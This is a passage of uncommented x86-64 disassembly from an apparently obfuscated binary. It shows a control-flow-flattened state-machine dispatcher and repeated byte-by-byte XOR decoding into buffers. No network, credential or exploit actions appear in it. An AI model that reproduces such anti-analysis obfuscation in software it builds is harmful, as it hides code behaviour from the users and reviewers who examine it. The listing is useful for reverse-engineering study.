mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140014e20
cmp ecx, 0x54254c19
jg 0x140014e50
cmp ecx, 0x413ac401
je 0x140014ead
cmp ecx, 0x4de8461d
je 0x140014ecc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140014de0
mov eax, esi
jmp 0x140014de0
cmp ecx, 0xd13082ef
jle 0x140014e80
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140014de0
cmp ecx, 0xe0d67025
je 0x140014ee6
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140014de0
mov eax, r13d
jmp 0x140014de0
cmp ecx, 0x54254c1a
je 0x140014ef0
cmp ecx, 0x62439574
je 0x140014db5
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140014de0
mov eax, 0x4ec8e6fe
jmp 0x140014de0
cmp ecx, 0x8ceadef2
je 0x140014f17
mov eax, edi
cmp ecx, 0x9ce81538
je 0x140014de0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140014de0
jmp 0x1400153f2
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140014de0
mov qword [rbp + 0x78], r11
lea rax, [r12 + 0x33]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140014de0
mov eax, 0x4de8461d
jmp 0x140014de0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140014de0
mov eax, 0x9ce81538
jmp 0x140014de0
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 8], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140014f70
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140014fb0
cmp ecx, 0x54254c19
jg 0x140014fe0
cmp ecx, 0x413ac401
je 0x14001503d
cmp ecx, 0x4de8461d
je 0x14001505c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140014f70
mov eax, edi
jmp 0x140014f70
cmp ecx, 0xd13082ef
jle 0x140015010
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140014f70
cmp ecx, 0xe0d67025
je 0x14001507a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140014f70
mov eax, r11d
jmp 0x140014f70
cmp ecx, 0x54254c1a
je 0x140015084
cmp ecx, 0x62439574
je 0x140014f48
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140014f70
mov eax, 0x4ec8e6fe
jmp 0x140014f70
cmp ecx, 0x8ceadef2
je 0x1400150ab
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140014f70
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140014f70
jmp 0x140015591
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140014f70
lea rax, [r15 + 0x64]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 9]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140014f70
mov eax, 0x4de8461d
jmp 0x140014f70
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140014f70
mov eax, 0x9ce81538
jmp 0x140014f70
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 9], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140015110
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140015150
cmp ecx, 0x54254c19
jg 0x140015180
cmp ecx, 0x413ac401
je 0x1400151dd
cmp ecx, 0x4de8461d
je 0x1400151fc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140015110
mov eax, edi
jmp 0x140015110
cmp ecx, 0xd13082ef
jle 0x1400151b0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140015110
cmp ecx, 0xe0d67025
je 0x14001521a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140015110
mov eax, r11d
jmp 0x140015110
cmp ecx, 0x54254c1a
je 0x140015224
cmp ecx, 0x62439574
je 0x1400150dc
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140015110
mov eax, 0x4ec8e6fe
jmp 0x140015110
cmp ecx, 0x8ceadef2
je 0x14001524b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140015110
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140015110
jmp 0x140015725
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140015110
lea rax, [r15 + 0x6e]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xa]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140015110
mov eax, 0x4de8461d
jmp 0x140015110
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140015110
mov eax, 0x9ce81538
jmp 0x140015110
test r13b, 1
mov byte [rbp + 0x70], bl
mov cl, byte [rbp + 0x70]
mov rdx, qword [rbp + 0x48]
mov byte [rdx + 0xa], cl
mov rcx, qword [rbp + 0x58]
movzx r9d, byte [rcx + 0xb]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x38], 0xa
setl byte [rbp + 0x68]
add r9, r15
mov edx, 0x413ac401
jmp 0x1400152b0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop
mov edi, edx
cmp edx, 0x413ac400
jle 0x1400152f0
cmp edi, 0x54254c19
jg 0x140015320
cmp edi, 0x413ac401
je 0x14001537d
cmp edi, 0x4de8461d
je 0x14001539c
mov edx, edi
cmp edi, 0x4ec8e6fe
jne 0x1400152b0
mov edx, r10d
jmp 0x1400152b0
cmp edi, 0xd13082ef
jle 0x140015350
mov edx, r11d
cmp edi, 0xd13082f0
je 0x1400152b0
cmp edi, 0xe0d67025
je 0x1400153b6
mov edx, edi
cmp edi, 0x216c1d41
jne 0x1400152b0
mov edx, esi
jmp 0x1400152b0
cmp edi, 0x54254c1a
je 0x1400153c0
cmp edi, 0x62439574
je 0x140015288
mov edx, edi
cmp edi, 0x76479a56
jne 0x1400152b0
mov edx, 0x4ec8e6fe
jmp 0x1400152b0
cmp edi, 0x8ceadef2
je 0x1400153e8
mov edx, eax
cmp edi, 0x9ce81538
je 0x1400152b0
mov edx, edi
cmp edi, 0xc5c4e523
jne 0x1400152b0
jmp 0x1400158c5
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test cl, cl
cmovne edx, r14d
jmp 0x1400152b0
mov qword [rbp + 0x78], r9
lea rcx, [r12 + 0xb]
mov qword [rbp + 0x80], rcx
mov edx, 0x216c1d41
jmp 0x1400152b0
mov edx, 0x4de8461d
jmp 0x1400152b0
mov rbx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor ebx, ecx
xor ebx, edx
xor bl, 0x13
mov edx, r8d
jmp 0x1400152b0
mov edx, 0x9ce81538
jmp 0x1400152b0
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 9], al
mov rax, qword [rbp + 0x58]
movzx r11d, byte [rax + 0x34]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r11, r15
mov eax, 0x413ac401
jmp 0x140015450
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140015490
cmp ecx, 0x54254c19
jg 0x1400154c0
cmp ecx, 0x413ac401
je 0x14001551d
cmp ecx, 0x4de8461d
je 0x14001553c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140015450
mov eax, esi
jmp 0x140015450
cmp ecx, 0xd13082ef
jle 0x1400154f0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140015450
cmp ecx, 0xe0d67025
je 0x140015556
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140015450
mov eax, r13d
jmp 0x140015450
cmp ecx, 0x54254c1a
je 0x140015560
cmp ecx, 0x62439574
je 0x140015425
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140015450
mov eax, 0x4ec8e6fe
jmp 0x140015450
cmp ecx, 0x8ceadef2
je 0x140015587
mov eax, edi
cmp ecx, 0x9ce81538
je 0x140015450
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140015450
jmp 0x140015a62
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140015450
mov qword [rbp + 0x78], r11
lea rax, [r12 + 0x34]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140015450
mov eax, 0x4de8461d
jmp 0x140015450
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140015450
mov eax, 0x9ce81538
jmp 0x140015450
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 9], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x1400155e0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140015620
cmp ecx, 0x54254c19
jg 0x140015650
cmp ecx, 0x413ac401
je 0x1400156ad
cmp ecx, 0x4de8461d
je 0x1400156cc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400155e0
mov eax, edi
jmp 0x1400155e0
cmp ecx, 0xd13082ef
jle 0x140015680
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400155e0
cmp ecx, 0xe0d67025
je 0x1400156ea
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400155e0
mov eax, r11d
jmp 0x1400155e0
cmp ecx, 0x54254c1a
je 0x1400156f4
cmp ecx, 0x62439574
je 0x1400155b8
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400155e0
mov eax, 0x4ec8e6fe
jmp 0x1400155e0
cmp ecx, 0x8ceadef2
je 0x14001571b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x1400155e0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400155e0
jmp 0x140015c11
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400155e0
lea rax, [r15 + 0x6e]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xa]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400155e0
mov eax, 0x4de8461d
jmp 0x1400155e0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x1400155e0
mov eax, 0x9ce81538
jmp 0x1400155e0
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xa], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140015780
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400157c0
cmp ecx, 0x54254c19
jg 0x1400157f0
cmp ecx, 0x413ac401
je 0x14001584d
cmp ecx, 0x4de8461d
je 0x14001586c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140015780
mov eax, edi
jmp 0x140015780
cmp ecx, 0xd13082ef
jle 0x140015820
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140015780
cmp ecx, 0xe0d67025
je 0x14001588a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140015780
mov eax, r11d
jmp 0x140015780
cmp ecx, 0x54254c1a
je 0x140015894
cmp ecx, 0x62439574
je 0x14001574c
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140015780
mov eax, 0x4ec8e6fe
jmp 0x140015780
cmp ecx, 0x8ceadef2
je 0x1400158bb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140015780
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140015780
jmp 0x140015da5
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140015780
lea rax, [r15 + 0x6a]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xb]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140015780
mov eax, 0x4de8461d
jmp 0x140015780
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140015780
mov eax, 0x9ce81538
jmp 0x140015780
test r13b, 1
mov byte [rbp + 0x70], bl
mov cl, byte [rbp + 0x70]
mov rdx, qword [rbp + 0x48]
mov byte [rdx + 0xb], cl
mov rcx, qword [rbp + 0x58]
movzx r9d, byte [rcx + 0xc]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x38], 0xa
setl byte [rbp + 0x68]
add r9, r15
mov edx, 0x413ac401
jmp 0x140015920
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop
mov edi, edx
cmp edx, 0x413ac400
jle 0x140015960
cmp edi, 0x54254c19
jg 0x140015990
cmp edi, 0x413ac401
je 0x1400159ed
cmp edi, 0x4de8461d
je 0x140015a0c
mov edx, edi
cmp edi, 0x4ec8e6fe
jne 0x140015920
mov edx, r10d
jmp 0x140015920
cmp edi, 0xd13082ef
jle 0x1400159c0
mov edx, r11d
cmp edi, 0xd13082f0
je 0x140015920
cmp edi, 0xe0d67025
je 0x140015a26
mov edx, edi
cmp edi, 0x216c1d41
jne 0x140015920
mov edx, esi
jmp 0x140015920
cmp edi, 0x54254c1a
je 0x140015a30
cmp edi, 0x62439574
je 0x1400158f8
mov edx, edi
cmp edi, 0x76479a56
jne 0x140015920
mov edx, 0x4ec8e6fe
jmp 0x140015920
cmp edi, 0x8ceadef2
je 0x140015a58
mov edx, eax
cmp edi, 0x9ce81538
je 0x140015920
mov edx, edi
cmp edi, 0xc5c4e523
jne 0x140015920
jmp 0x140015f45
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test cl, cl
cmovne edx, r14d
jmp 0x140015920
mov qword [rbp + 0x78], r9
lea rcx, [r12 + 0xc]
mov qword [rbp + 0x80], rcx
mov edx, 0x216c1d41
jmp 0x140015920
mov edx, 0x4de8461d
jmp 0x140015920
mov rbx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor ebx, ecx
xor ebx, edx
xor bl, 0x13
mov edx, r8d
jmp 0x140015920
mov edx, 0x9ce81538
jmp 0x140015920
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 0xa], al
mov rax, qword [rbp + 0x58]
movzx r10d, byte [rax + 0x35]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r10, r15
mov eax, 0x413ac401
movabs r8, 0x36a0fa38eb0b3b73
mov r11d, 0x78700930
jmp 0x140015ad0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140015b10
cmp ecx, 0x54254c19
jg 0x140015b40
cmp ecx, 0x413ac401
je 0x140015b9d
cmp ecx, 0x4de8461d
je 0x140015bbc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140015ad0
mov eax, esi
jmp 0x140015ad0
cmp ecx, 0xd13082ef
jle 0x140015b70
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140015ad0
cmp ecx, 0xe0d67025
je 0x140015bd6
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140015ad0
mov eax, r13d
jmp 0x140015ad0
cmp ecx, 0x54254c1a
je 0x140015be0
cmp ecx, 0x62439574
je 0x140015aa5
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140015ad0
mov eax, 0x4ec8e6fe
jmp 0x140015ad0
cmp ecx, 0x8ceadef2
je 0x140015c07
mov eax, edi
cmp ecx, 0x9ce81538
je 0x140015ad0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140015ad0
jmp 0x1400160e2
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140015ad0
mov qword [rbp + 0x78], r10
lea rax, [r12 + 0x35]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140015ad0
mov eax, 0x4de8461d
jmp 0x140015ad0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140015ad0
mov eax, 0x9ce81538
jmp 0x140015ad0
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xa], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140015c60
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140015ca0
cmp ecx, 0x54254c19
jg 0x140015cd0
cmp ecx, 0x413ac401
je 0x140015d2d
cmp ecx, 0x4de8461d
je 0x140015d4c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140015c60
mov eax, edi
jmp 0x140015c60
cmp ecx, 0xd13082ef
jle 0x140015d00
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140015c60
cmp ecx, 0xe0d67025
je 0x140015d6a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140015c60
mov eax, r11d
jmp 0x140015c60
cmp ecx, 0x54254c1a
je 0x140015d74
cmp ecx, 0x62439574
je 0x140015c38
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140015c60
mov eax, 0x4ec8e6fe
jmp 0x140015c60
cmp ecx, 0x8ceadef2
je 0x140015d9b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140015c60
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140015c60
jmp 0x140016127
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140015c60
lea rax, [r15 + 0x6a]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xb]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140015c60
mov eax, 0x4de8461d
jmp 0x140015c60
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140015c60
mov eax, 0x9ce81538
jmp 0x140015c60
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xb], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140015e00
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140015e40
cmp ecx, 0x54254c19
jg 0x140015e70
cmp ecx, 0x413ac401
je 0x140015ecd
cmp ecx, 0x4de8461d
je 0x140015eec
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140015e00
mov eax, edi
jmp 0x140015e00
cmp ecx, 0xd13082ef
jle 0x140015ea0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140015e00
cmp ecx, 0xe0d67025
je 0x140015f0a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140015e00
mov eax, r11d
jmp 0x140015e00
cmp ecx, 0x54254c1a
je 0x140015f14
cmp ecx, 0x62439574
je 0x140015dcc
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140015e00
mov eax, 0x4ec8e6fe
jmp 0x140015e00
cmp ecx, 0x8ceadef2
je 0x140015f3b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140015e00
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140015e00
jmp 0x1400162c5
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140015e00
lea rax, [r15 + 0x73]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xc]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140015e00
mov eax, 0x4de8461d
jmp 0x140015e00
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140015e00
mov eax, 0x9ce81538
jmp 0x140015e00
test r13b, 1
mov byte [rbp + 0x70], bl
mov cl, byte [rbp + 0x70]
mov rdx, qword [rbp + 0x48]
mov byte [rdx + 0xc], cl
mov rcx, qword [rbp + 0x58]
movzx r9d, byte [rcx + 0xd]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x38], 0xa
setl byte [rbp + 0x68]
add r9, r15
mov edx, 0x413ac401
jmp 0x140015fa0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop
mov edi, edx
cmp edx, 0x413ac400
jle 0x140015fe0
cmp edi, 0x54254c19
jg 0x140016010
cmp edi, 0x413ac401
je 0x14001606d
cmp edi, 0x4de8461d
je 0x14001608c
mov edx, edi
cmp edi, 0x4ec8e6fe
jne 0x140015fa0
mov edx, r10d
jmp 0x140015fa0
cmp edi, 0xd13082ef
jle 0x140016040
mov edx, r11d
cmp edi, 0xd13082f0
je 0x140015fa0
cmp edi, 0xe0d67025
je 0x1400160a6
mov edx, edi
cmp edi, 0x216c1d41
jne 0x140015fa0
mov edx, esi
jmp 0x140015fa0
cmp edi, 0x54254c1a
je 0x1400160b0
cmp edi, 0x62439574
je 0x140015f78
mov edx, edi
cmp edi, 0x76479a56
jne 0x140015fa0
mov edx, 0x4ec8e6fe
jmp 0x140015fa0
cmp edi, 0x8ceadef2
je 0x1400160d8
mov edx, eax
cmp edi, 0x9ce81538
je 0x140015fa0
mov edx, edi
cmp edi, 0xc5c4e523
jne 0x140015fa0
jmp 0x140016465
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test cl, cl
cmovne edx, r14d
jmp 0x140015fa0
mov qword [rbp + 0x78], r9
lea rcx, [r12 + 0xd]
mov qword [rbp + 0x80], rcx
mov edx, 0x216c1d41
jmp 0x140015fa0
mov edx, 0x4de8461d
jmp 0x140015fa0
mov rbx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor ebx, ecx
xor ebx, edx
xor bl, 0x13
mov edx, r8d
jmp 0x140015fa0
mov edx, 0x9ce81538
jmp 0x140015fa0
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 0xb], al
add rcx, 0xc
mov qword [rbp + 0x18], rcx
mov rax, qword [rbp + 8]
add rax, 0x50
mov qword [rbp + 0x20], rax
mov eax, 0xa105a0bf
movabs r13, 0xc95f05c714f4c48c
movabs r9, 0x335a77a93a9c4e4c
mov r10d, 0x14521f21
jmp 0x14000fd76
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xb], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140016180
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400161c0
cmp ecx, 0x54254c19
jg 0x1400161f0
cmp ecx, 0x413ac401
je 0x14001624d
cmp ecx, 0x4de8461d
je 0x14001626c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140016180
mov eax, edi
jmp 0x140016180
cmp ecx, 0xd13082ef
jle 0x140016220
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140016180
cmp ecx, 0xe0d67025
je 0x14001628a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140016180
mov eax, r11d
jmp 0x140016180
cmp ecx, 0x54254c1a
je 0x140016294
cmp ecx, 0x62439574
je 0x14001614e
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140016180
mov eax, 0x4ec8e6fe
jmp 0x140016180
cmp ecx, 0x8ceadef2
je 0x1400162bb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140016180
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140016180
jmp 0x140016602
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140016180
lea rax, [r15 + 0x73]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xc]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140016180
mov eax, 0x4de8461d
